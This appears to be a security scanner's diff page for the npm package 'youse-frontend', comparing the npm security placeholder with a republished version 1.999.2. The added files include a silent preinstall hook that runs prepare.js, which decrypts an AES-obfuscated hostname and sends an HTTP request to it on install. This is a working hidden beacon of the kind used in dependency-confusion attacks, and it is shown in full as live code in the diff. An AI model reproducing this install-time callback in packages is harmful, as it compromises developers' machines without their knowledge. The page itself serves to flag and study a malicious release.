youse-frontend 0.0.1-security → 1.999.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of youse-frontend might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +12 -3
- package/prepare.js +38 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log("Hello World");
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "youse-frontend",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.999.2",
|
4
|
+
"description": "",
|
5
|
+
"main": "main.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node prepare.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "lexi2",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"lodash": "^4.17.21"
|
14
|
+
}
|
6
15
|
}
|
package/prepare.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
const crypto = require('crypto');
|
3
|
+
|
4
|
+
var u = getU();
|
5
|
+
|
6
|
+
const options = {
|
7
|
+
hostname: u,
|
8
|
+
port: 80,
|
9
|
+
path: '/register-license',
|
10
|
+
method: 'GET'
|
11
|
+
};
|
12
|
+
|
13
|
+
const req = http.request(options, (res) => {
|
14
|
+
let data = '';
|
15
|
+
|
16
|
+
res.on('data', (chunk) => {
|
17
|
+
data += chunk;
|
18
|
+
});
|
19
|
+
|
20
|
+
res.on('end', () => {});
|
21
|
+
});
|
22
|
+
|
23
|
+
req.on('error', (error) => {
|
24
|
+
console.error('Error:', error);
|
25
|
+
});
|
26
|
+
|
27
|
+
req.end();
|
28
|
+
|
29
|
+
function getU() {
|
30
|
+
const k = Buffer.from('1ec5fb5f8b9ad4baa8cfc9e64788ebc0', 'hex');
|
31
|
+
const i = Buffer.from('00000000000000000000000000000000', 'hex');
|
32
|
+
|
33
|
+
const ed = '7565d46b31f2bdc97c43f206f7cfbef2da0fbbb923b437496da05ee731fc99a455ac302e56978f331780278430835634'
|
34
|
+
const de = crypto.createDecipheriv('aes-128-cbc', k, i);
|
35
|
+
let dec = de.update(ed, 'hex', 'utf8');
|
36
|
+
dec += de.final('utf8');
|
37
|
+
return dec;
|
38
|
+
};
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=youse-frontend for more information.
|